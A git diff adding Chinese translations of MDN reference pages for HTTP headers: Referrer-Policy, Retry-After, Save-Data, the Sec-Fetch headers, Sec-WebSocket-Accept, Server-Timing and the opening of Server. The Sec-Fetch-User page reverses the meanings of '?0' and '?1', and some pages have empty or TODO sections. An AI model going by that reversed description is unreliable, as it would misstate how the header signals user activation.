作为引用地址。</code></dd> + <dt>origin-when-cross-origin</dt> + <dd>对于同源的请求,会发送完整的URL作为引用地址,但是对于非同源请求仅发送文件的源。</dd> + <dt>same-origin</dt> + <dd>对于<a href="/en-US/docs/Web/Security/Same-origin_policy">同源的请求</a>会发送引用地址,但是对于非同源请求则不发送引用地址信息。</dd> + <dt>strict-origin</dt> + <dd>在同等安全级别的情况下,发送文件的源作为引用地址(HTTPS->HTTPS),但是在降级的情况下不会发送 (HTTPS->HTTP)。</dd> + <dt>strict-origin-when-cross-origin</dt> + <dd>对于同源的请求,会发送完整的URL作为引用地址;在同等安全级别的情况下,发送文件的源作为引用地址(HTTPS->HTTPS);在降级的情况下不发送此首部 (HTTPS->HTTP)。</dd> + <dt>unsafe-url</dt> + <dd>无论是同源请求还是非同源请求,都发送完整的 URL(移除参数信息之后)作为引用地址。 + <div class="note">这项设置会将受 TLS 安全协议保护的资源的源和路径信息泄露给非安全的源服务器。进行此项设置的时候要慎重考虑。</div> + </dd> +</dl> + +<h2 id="集成到_HTML">集成到 HTML</h2> + +<p>你也可以在 HTML 内设置 referrer 策略。例如,你可以用一个 name 为 referrer 的 {{HTMLElement("meta")}} 元素为整个文档设置 referrer 策略。</p> + +<pre><meta name="referrer" content="origin"></pre> + +<p>或者用 {{HTMLElement("a")}}、{{HTMLElement("area")}}、{{HTMLElement("img")}}、{{HTMLElement("iframe")}}、{{HTMLElement("script")}} 或者 {{HTMLElement("link")}} 元素上的 <code>referrerpolicy</code> 属性为其设置独立的请求策略。</p> + +<pre><a href="http://example.com" referrerpolicy="origin"></pre> + +<p>另外也可以在 {{HTMLElement("a")}}、{{HTMLElement("area")}} 或者 {{HTMLElement("link")}} 元素上将 <code>rel</code> 属性设置为 <code>noreferrer</code>。</p> + +<pre><a href="http://example.com" rel="noreferrer"></pre> + +<h2 id="集成到_CSS">集成到 CSS</h2> + +<p>CSS 可以从样式表获取引用的资源,这些资源也可以遵从 referrer 策略:</p> + +<ul> + <li>外部 CSS 样式表使用默认策略 (<code>no-referrer-when-downgrade</code>),除非 CSS 样式表的响应消息通过 <code>Referrer-Policy</code> 首部覆盖该策略。</li> + <li>对于 {{HTMLElement("style")}} 元素或 <code><a href="/zh-CN/docs/Web/API/HTMLElement/style">style</a></code> 属性,则遵从文档的 referrer 策略。</li> +</ul> + +<h2 id="示例">示例</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Policy</th> + <th scope="col">Document</th> + <th scope="col">Navigation to</th> + <th scope="col">Referrer</th> + </tr> + </thead> + <tbody> + <tr> + <td><code><strong>no-referrer</strong></code></td> + <td>https://example.com/page.html</td> + <td>any domain or path</td> + <td>no referrer</td> + </tr> + <tr> + <td><strong><code>no-referrer-when-downgrade</code></strong></td> + <td>https://example.com/page.html</td> + <td>https://example.com/otherpage.html</td> + <td>https://example.com/page.html</td> + </tr> + <tr> + <td><strong><code>no-referrer-when-downgrade</code></strong></td> + <td>https://example.com/page.html</td> + <td>https://mozilla.org</td> + <td>https://example.com/page.html</td> + </tr> + <tr> + <td><strong><code>no-referrer-when-downgrade</code></strong></td> + <td>https://example.com/page.html</td> + <td><strong>http</strong>://example.org</td> + <td>no referrer</td> + </tr> + <tr> + <td><strong><code>origin</code></strong></td> + <td>https://example.com/page.html</td> + <td>any domain or path</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><code><strong>origin-when-cross-origin</strong></code></td> + <td>https://example.com/page.html</td> + <td>https://example.com/otherpage.html</td> + <td>https://example.com/page.html</td> + </tr> + <tr> + <td><code><strong>origin-when-cross-origin</strong></code></td> + <td>https://example.com/page.html</td> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><code><strong>origin-when-cross-origin</strong></code></td> + <td>https://example.com/page.html</td> + <td><strong>http</strong>://example.com/page.html</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong><code>same-origin</code></strong></td> + <td>https://example.com/page.html</td> + <td>https://example.com/otherpage.html</td> + <td>https://example.com/page.html</td> + </tr> + <tr> + <td><strong><code>same-origin</code></strong></td> + <td>https://example.com/page.html</td> + <td>https://mozilla.org</td> + <td>no referrer</td> + </tr> + <tr> + <td><strong><code>strict-origin</code></strong></td> + <td>https://example.com/page.html</td> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong><code>strict-origin</code></strong></td> + <td>https://example.com/page.html</td> + <td><strong>http</strong>://example.org</td> + <td>no referrer</td> + </tr> + <tr> + <td><strong><code>strict-origin</code></strong></td> + <td><strong>http</strong>://example.com/page.html</td> + <td>any domain or path</td> + <td>http://example.com/</td> + </tr> + <tr> + <td><strong><code>strict-origin-when-cross-origin</code></strong></td> + <td>https://example.com/page.html</td> + <td>https://example.com/otherpage.html</td> + <td>https://example.com/page.html</td> + </tr> + <tr> + <td><strong><code>strict-origin-when-cross-origin</code></strong></td> + <td>https://example.com/page.html</td> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong><code>strict-origin-when-cross-origin</code></strong></td> + <td>https://example.com/page.html</td> + <td><strong>http</strong>://example.org</td> + <td>no referrer</td> + </tr> + <tr> + <td><strong><code>unsafe-url</code></strong></td> + <td>https://example.com/page.html</td> + <td>any domain or path</td> + <td>https://example.com/page.html</td> + </tr> + </tbody> +</table> + +<h3 id="指定后备策略">指定后备策略</h3> + +<p>如果你要为那些策略未获广泛的浏览器支持的情况指定一种后备策略,使用逗号分隔的列表,并将希望使用的策略放在最后:</p> + +<pre><code>Referrer-Policy: no-referrer, strict-origin-when-cross-origin</code></pre> + +<p>在上面的场景中,<code>no-referrer</code> 仅在 <code>strict-origin-when-cross-origin</code> 不被浏览器支持的情况下被使用。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + </tr> + <tr> + <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Referrer Policy </a></td> + <td>草稿</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Referrer-Policy")}}</p> + +<p><strong>注意:</strong> 从版本 53 起,Gecko 在 about:config 中提供了一项偏好设置,使得用户可以自行设定默认的 Referrer-Policy 值 —— network.http.referer.userControlPolicy 。可选的值包括:</p> + +<ul> + <li>0 — <code>no-referrer</code></li> + <li>1 — <code>same-origin</code></li> + <li>2 — <code>strict-origin-when-cross-origin</code></li> + <li>3 — <code>no-referrer-when-downgrade</code> (the default)</li> +</ul> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li> + <li>其他设定页面引用策略的方式: + <ul> + <li>A {{HTMLElement("meta")}} element with a <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">name of <code>referrer</code></a>.</li> + <li>A <code>referrerpolicy</code> attribute on an {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, or {{HTMLElement("link")}} element.</li> + <li>The <code>noreferrer</code> link relation on an a, area, or link element (<code>rel="noreferrer"</code>).</li> + <li>When using <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>: {{domxref("Request.referrerPolicy")}}</li> + </ul> + </li> + <li><a href="/en-US/docs/Web/Security/Same-origin_policy">同源策略</a></li> + <li> + <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">Tighter Control Over Your Referrers – Mozilla Security Blog</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/retry-after/index.html b/files/zh-cn/web/http/headers/retry-after/index.html new file mode 100644 index 0000000000..38f863cd3a --- /dev/null +++ b/files/zh-cn/web/http/headers/retry-after/index.html @@ -0,0 +1,82 @@ +--- +title: Retry-After +slug: Web/HTTP/Headers/Retry-After +tags: + - 响应首部 +translation_of: Web/HTTP/Headers/Retry-After +--- +<div>{{HTTPSidebar}}</div> + +<p>在HTTP协议中,响应首部 <strong><code>Retry-After</code></strong> 表示用户代理需要等待多长时间之后才能继续发送请求。这个首部主要应用于以下两种场景:</p> + +<ul> + <li>当与 {{HTTPStatus(503)}} (Service Unavailable,当前服务不存在) 响应一起发送的时候,表示服务下线的预期时长。</li> + <li>当与重定向响应一起发送的时候,比如 {{HTTPStatus(301)}} (Moved Permanently,永久迁移),表示用户代理在发送重定向请求之前需要等待的最短时间。</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Retry-After: <http-date> +Retry-After: <delay-seconds> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><http-date></dt> + <dd>表示在此时间之后可以重新尝试。参见 {{HTTPHeader("Date")}} 首部来获取HTTP协议中关于日期格式的细节信息。</dd> + <dt><delay-seconds></dt> + <dd>一个非负的十进制整数,表示在重试之前需要等待的秒数。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="对于计划内宕机时间的处理">对于计划内宕机时间的处理</h3> + +<p>不同的客户端与服务器端应用对于 Retry-After 首部的支持依然不太一致。不过,一些爬虫程序,比如谷歌的爬虫程序 Googlebot,会遵循 Retry-After 首部的规则。将其与 {{HTTPStatus(503)}} (Service Unavailable,当前服务不存在) 响应一起发送有助于互联网引擎做出判断,在宕机结束之后继续对网站构建索引。</p> + +<pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT +Retry-After: 120 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Retry-After", "7.1.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Retry-After")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="https://webmasters.googleblog.com/2011/01/how-to-deal-with-planned-site-downtime.html">Google Webmaster blog: How to deal with planned site downtime</a></li> + <li>{{HTTPStatus(503)}} (Service Unavailable)</li> + <li>{{HTTPStatus(301)}} (Moved Permanently)</li> +</ul> diff --git a/files/zh-cn/web/http/headers/save-data/index.html b/files/zh-cn/web/http/headers/save-data/index.html new file mode 100644 index 0000000000..ca37e92769 --- /dev/null +++ b/files/zh-cn/web/http/headers/save-data/index.html @@ -0,0 +1,104 @@ +--- +title: Save-Data +slug: Web/HTTP/Headers/Save-Data +tags: + - HTTP + - HTTP Header + - Reference + - Request header + - Save-Data + - header +translation_of: Web/HTTP/Headers/Save-Data +--- +<p>{{HTTPSidebar}}</p> + +<p>Save-Data请求头字段是一个布尔值,在请求中,表示客户端对减少数据使用量的偏好。 这可能是传输成本高,连接速度慢等原因。</p> + +<p>值为on时,明确表示用户选择使用客户端简化数据使用模式,并且当与源进行通信时允许他们提供替代内容以减少下载的数据,例如较小的图像和视频资源,不同的标记和样式,禁用轮询和自动更新等。</p> + +<div class="blockIndicator note"> +<p><strong>提示</strong>: 禁用 HTTP/2 服务器端推送 ({{RFC("7540", "Server Push", "8.2")}})也可以用于减少数据下载。</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Save-Data: <sd-token></pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><<code>sd-token</code>></dt> + <dd>一个数值,表示客户端是否想要选择简化数据使用模式。 on表示是,而off(默认值)表示不。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>请求头{{HTTPHeader("Vary")}} 确保正确缓存内容(例如,当Save-Data标头不再存在时,确保不从缓存向用户提供较低质量的图像[例如在从蜂窝网络切换到Wi-Fi后])</p> + +<h3 id="携带_Save-Data_on_请求头">携带 <code>Save-Data: on</code> 请求头</h3> + +<p>请求示例:</p> + +<pre>GET /image.jpg HTTP/1.0 +Host: example.com +Save-Data: on</pre> + +<p>响应示例:</p> + +<pre>HTTP/1.0 200 OK +Content-Length: 102832 +Vary: Accept-Encoding, Save-Data +Cache-Control: public, max-age=31536000 +Content-Type: image/jpeg + +[...] +</pre> + +<h3 id="不携带_Save-Data请求头">不携带 <code>Save-Data请求头</code></h3> + +<p>请求示例:</p> + +<pre>GET /image.jpg HTTP/1.0 +Host: example.com +</pre> + +<p>响应示例:</p> + +<pre>HTTP/1.0 200 OK +Content-Length: 481770 +Vary: Accept-Encoding, Save-Data +Cache-Control: public, max-age=31536000 +Content-Type: image/jpeg + +[...] +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-grigorik-http-client-hints-03#section-7">draft-grigorik-http-client-hints-03, section 7: Save-Data</a></td> + <td>HTTP Client Hints</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Save-Data")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="https://css-tricks.com/help-users-save-data/">Help Your Users `Save-Data` - CSS Tricks</a></li> + <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/save-data/">Delivering Fast and Light Applications with Save-Data - Google Developers</a></li> + <li><a href="https://wicg.github.io/netinfo/#save-data-request-header-field">Network Information API - WICG</a></li> + <li>Header to indicate that the content served varies by <code>Save-Data</code>: {{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/sec-fetch-dest/index.html b/files/zh-cn/web/http/headers/sec-fetch-dest/index.html new file mode 100644 index 0000000000..df8cfdff1f --- /dev/null +++ b/files/zh-cn/web/http/headers/sec-fetch-dest/index.html @@ -0,0 +1,133 @@ +--- +title: Sec-Fetch-Dest +slug: Web/HTTP/Headers/Sec-Fetch-Dest +translation_of: Web/HTTP/Headers/Sec-Fetch-Dest +--- +<p>{{HTTPSidebar}}{{Draft}}</p> + +<p><strong><code>Sec-Fetch-Dest</code></strong> 获取元数据标头指示请求的目的地,即如何使用获取的数据。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Fetch Metadata Request Header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes, since it has prefix <code>Sec-</code></td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted request header")}}</th> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">Sec-Fetch-Dest: audio +Sec-Fetch-Dest: audioworklet +Sec-Fetch-Dest: document +Sec-Fetch-Dest: embed +Sec-Fetch-Dest: empty +Sec-Fetch-Dest: font +Sec-Fetch-Dest: image +Sec-Fetch-Dest: manifest +Sec-Fetch-Dest: nested-document +Sec-Fetch-Dest: object +Sec-Fetch-Dest: paintworklet +Sec-Fetch-Dest: report +Sec-Fetch-Dest: script +Sec-Fetch-Dest: serviceworker +Sec-Fetch-Dest: sharedworker +Sec-Fetch-Dest: style +Sec-Fetch-Dest: track +Sec-Fetch-Dest: video +Sec-Fetch-Dest: worker +Sec-Fetch-Dest: xslt +Sec-Fetch-Dest: audioworklet +Sec-Fetch-Dest: audioworklet +</pre> + +<h2 id="值">值</h2> + +<dl> + <dt><code>audio</code></dt> + <dd></dd> + <dt><code>audioworklet</code></dt> + <dd></dd> + <dt><code>document</code></dt> + <dd></dd> + <dt><code>embed</code></dt> + <dd></dd> + <dt><code>empty</code></dt> + <dd></dd> + <dt><code>font</code></dt> + <dd></dd> + <dt><code>image</code></dt> + <dd></dd> + <dt><code>manifest</code></dt> + <dd></dd> + <dt><code>object</code></dt> + <dd></dd> + <dt><code>paintworklet</code></dt> + <dd></dd> + <dt><code>report</code></dt> + <dd></dd> + <dt><code>script</code></dt> + <dd></dd> + <dt><code>serviceworker</code></dt> + <dd></dd> + <dt><code>sharedworker</code></dt> + <dd></dd> + <dt><code>style</code></dt> + <dd></dd> + <dt><code>track</code></dt> + <dd></dd> + <dt><code>video</code></dt> + <dd></dd> + <dt><code>worker</code></dt> + <dd></dd> + <dt><code>xslt</code></dt> + <dd></dd> + <dt><code>nested-document</code></dt> + <dd></dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>TODO</p> + +<h2 id="规范说明">规范说明</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-dest-header">Fetch Metadata Request Headers</a></td> + <td>The Sec-Fetch-Dest HTTP Request Header</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden"></div> + +<div class="hidden">此页面上的兼容性表由结构化数据生成。如果您想对数据做出贡献,请查看<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并给我们发送拉取请求。</div> + +<p>{{Compat("http.headers.Sec-Fetch-Dest")}}</p> + +<h2 id="参阅">参阅</h2> + +<ul> + <li>{{HTTPHeader("Sec-Fetch-Mode")}}</li> + <li>{{HTTPHeader("Sec-Fetch-Site")}}</li> + <li>{{HTTPHeader("Sec-Fetch-User")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/sec-fetch-mode/index.html b/files/zh-cn/web/http/headers/sec-fetch-mode/index.html new file mode 100644 index 0000000000..489941ca22 --- /dev/null +++ b/files/zh-cn/web/http/headers/sec-fetch-mode/index.html @@ -0,0 +1,87 @@ +--- +title: Sec-Fetch-Mode +slug: Web/HTTP/Headers/Sec-Fetch-Mode +translation_of: Web/HTTP/Headers/Sec-Fetch-Mode +--- +<p>{{HTTPSidebar}}{{Draft}}</p> + +<p><strong><code>Sec-Fetch-Mode</code></strong> 获取元数据标头表明了一个请求的模式。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Fetch Metadata Request Header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>只要包含前缀 <code>Sec-</code> 都属于应用程序禁止修改的HTTP消息头,用户代理保留全部对它们的控制权</td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted request header")}}</th> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">Sec-Fetch-Mode: cors +Sec-Fetch-Mode: navigate +Sec-Fetch-Mode: nested-navigate +Sec-Fetch-Mode: no-cors +Sec-Fetch-Mode: same-origin +Sec-Fetch-Mode: websocket +</pre> + +<h2 id="值">值</h2> + +<dl> + <dt><code>cors</code></dt> + <dd></dd> + <dt><code>navigate</code></dt> + <dd></dd> + <dt><code>nested-navigate</code></dt> + <dd></dd> + <dt><code>no-cors</code></dt> + <dd></dd> + <dt><code>same-origin</code></dt> + <dd></dd> + <dt><code>websocket</code></dt> + <dd></dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>暂时没有内容</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-mode-header">Fetch Metadata Request Headers</a></td> + <td>The Sec-Fetch-Mode HTTP Request Header</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("http.headers.Sec-Fetch-Mode")}}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li>{{HTTPHeader("Sec-Fetch-Site")}}</li> + <li>{{HTTPHeader("Sec-Fetch-User")}}</li> + <li>{{HTTPHeader("Sec-Fetch-Dest")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/sec-fetch-site/index.html b/files/zh-cn/web/http/headers/sec-fetch-site/index.html new file mode 100644 index 0000000000..b5b2da4228 --- /dev/null +++ b/files/zh-cn/web/http/headers/sec-fetch-site/index.html @@ -0,0 +1,85 @@ +--- +title: Sec-Fetch-Site +slug: Web/HTTP/Headers/Sec-Fetch-Site +translation_of: Web/HTTP/Headers/Sec-Fetch-Site +--- +<p>{{HTTPSidebar}}{{Draft}}</p> + +<p><strong><code>Sec-Fetch-Site</code></strong> 获取元数据标头表明了一个请求发起者的来源与目标资源来源之间的关系。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Fetch Metadata Request Header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>只要包含前缀 <code>Sec-</code> 都属于应用程序禁止修改的HTTP消息头,用户代理保留全部对它们的控制权</td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted response header")}}</th> + <td></td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted request header")}}</th> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">Sec-Fetch-Site: cross-site +Sec-Fetch-Site: same-origin +Sec-Fetch-Site: same-site +Sec-Fetch-Site: none +</pre> + +<h2 id="值">值</h2> + +<dl> + <dt><code>cross-site</code></dt> + <dd></dd> + <dt><code>same-origin</code></dt> + <dd></dd> + <dt><code>same-site</code></dt> + <dd></dd> + <dt><code>none</code></dt> + <dd>这一请求与任意上下文无关,例如站点、源,或者框架。当用户采用某些方式发起请求时该值会被使用,例如:直接在地址栏中输入URL、打开一个书签,或者往浏览器窗口中拖放一个文件。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>暂时没有内容</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-site-header">Fetch Metadata Request Headers</a></td> + <td>The Sec-Fetch-Site HTTP Request Header</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("http.headers.Sec-Fetch-Site")}}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li>{{HTTPHeader("Sec-Fetch-Mode")}}</li> + <li>{{HTTPHeader("Sec-Fetch-User")}}</li> + <li>{{HTTPHeader("Sec-Fetch-Dest")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/sec-fetch-user/index.html b/files/zh-cn/web/http/headers/sec-fetch-user/index.html new file mode 100644 index 0000000000..c5a81d04ce --- /dev/null +++ b/files/zh-cn/web/http/headers/sec-fetch-user/index.html @@ -0,0 +1,77 @@ +--- +title: Sec-Fetch-User +slug: Web/HTTP/Headers/Sec-Fetch-User +translation_of: Web/HTTP/Headers/Sec-Fetch-User +--- +<p>{{HTTPSidebar}}{{Draft}}</p> + +<p><strong><code>Sec-Fetch-User</code></strong> 获取元数据标头表明了一个导航请求是否由用户激活触发。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Fetch Metadata Request Header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>只要包含前缀 <code>Sec-</code> 都属于应用程序禁止修改的HTTP消息头,用户代理保留全部对它们的控制权</td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted request header")}}</th> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">Sec-Fetch-User: ?0 +Sec-Fetch-User: ?1 +</pre> + +<h2 id="值">值</h2> + +<p>该值是一个布尔结构化的标头。</p> + +<dl> + <dt><code>?0</code></dt> + <dd>导航请求由用户激活触发。</dd> + <dt><code>?1</code></dt> + <dd>导航请求由用户激活以外的原因触发。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>暂时没有内容</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-user-header">Fetch Metadata Request Headers</a></td> + <td>The Sec-Fetch-User HTTP Request Header</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("http.headers.Sec-Fetch-User")}}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li>{{HTTPHeader("Sec-Fetch-Dest")}}</li> + <li>{{HTTPHeader("Sec-Fetch-Mode")}}</li> + <li>{{HTTPHeader("Sec-Fetch-Site")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/sec-websocket-accept/index.html b/files/zh-cn/web/http/headers/sec-websocket-accept/index.html new file mode 100644 index 0000000000..732cd27b29 --- /dev/null +++ b/files/zh-cn/web/http/headers/sec-websocket-accept/index.html @@ -0,0 +1,14 @@ +--- +title: Sec-WebSocket-Accept +slug: Web/HTTP/Headers/Sec-WebSocket-Accept +translation_of: Web/HTTP/Headers/Sec-WebSocket-Accept +--- +<div>{{HTTPSidebar}}{{Draft}}</div> + +<p><strong>Sec-WebSocket-Accept</strong> 头 (header) 用在websocket开放握手中。它会出现在响应头中。 也就是说,这是由服务器发送到客户端的头(header),用以告知服务器愿发起一个websocket连接。</p> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("http.headers.Sec-WebSocket-Accept")}}</p> diff --git a/files/zh-cn/web/http/headers/server-timing/index.html b/files/zh-cn/web/http/headers/server-timing/index.html new file mode 100644 index 0000000000..f755e58e2c --- /dev/null +++ b/files/zh-cn/web/http/headers/server-timing/index.html @@ -0,0 +1,87 @@ +--- +title: Server-Timing +slug: Web/HTTP/Headers/Server-Timing +tags: + - HTTP + - Performance + - Reference + - header +translation_of: Web/HTTP/Headers/Server-Timing +--- +<p>{{HTTPSidebar}}</p> + +<p><strong><code>Server-Timing</code></strong> 标头传达在一个给定请求-响应周期中的一个或多个参数和描述。它用于在用户浏览器的开发工具或 {{domxref("PerformanceServerTiming")}} 接口中显示任何后端服务器定时参数(例如,数据库读/写、CPU 时间、文件系统访问等)。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p><code>Server-Timing</code> 头的语法允许您以不同方式传达参数:仅服务器参数名称,具有值的参数,具有值和描述的度参数以及具有描述的参数。</p> + +<p>规范建议名称和描述应尽可能短(使用缩写并在可能的情况下省略可选值)以最小化 HTTP 开销。</p> + +<pre>// Single metric without value +Server-Timing: missedCache + +// Single metric with value +Server-Timing: cpu;dur=2.4 + +// Single metric with description and value +Server-Timing: cache;desc="Cache Read";dur=23.2 + +// Two metrics with value +Server-Timing: db;dur=53, app;dur=47.2 + +// Server-Timing as trailer +Trailer: Server-Timing +--- response body --- +Server-Timing: total;dur=123.4 +</pre> + +<h2 id="保密性与安全性"><strong>保密性与安全性</strong></h2> + +<p><code>Server-Timing</code> 头可能会暴露潜在的敏感应用程序和基础设备信息。请考虑在服务器端控制何时向谁返回哪些参数信息。例如,您只能向经过身份验证的用户显示参数信息,而不能向公众显示。</p> + +<h2 id="PerformanceServerTiming_接口">PerformanceServerTiming 接口</h2> + +<p>除了在浏览器的开发工具中显示 <code>Server-Timing</code> 外,{{domxref("PerformanceServerTiming")}} 接口允许工具自动收集和处理 JavaScript 中的参数。此接口仅限于相同的源下使用,但您可以使用 {{HTTPHeader("Timing-Allow-Origin")}} 头指定允许访问服务器参数的域。该接口仅在某些浏览器中的安全上下文(HTTPS)中可用。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{SpecName('Server Timing','#the-server-timing-header-field', 'Server-Timing Header Field')}}</td> + <td>{{Spec2("Server Timing")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">该页面的兼容表是由结构化数据生成。如果你想贡献数据,请访问 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并发送 pull 请求。</div> + +<p>{{Compat("http.headers.Server-Timing")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{domxref("PerformanceServerTiming")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/server/index.html b/files/zh-cn/web/http/headers/server/index.html new file mode 100644 index 0000000000..a46517b74b --- /dev/null +++ b/files/zh-cn/web/http/headers/server/index.html @@ -0,0 +1,71 @@ +--- +title: Server +slug: Web/HTTP/Headers/Server +tags: + - 安全 + - 服务器 + - 软件 + - 首部 +translation_of: Web/HTTP/Headers/Server +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Server</strong></code> 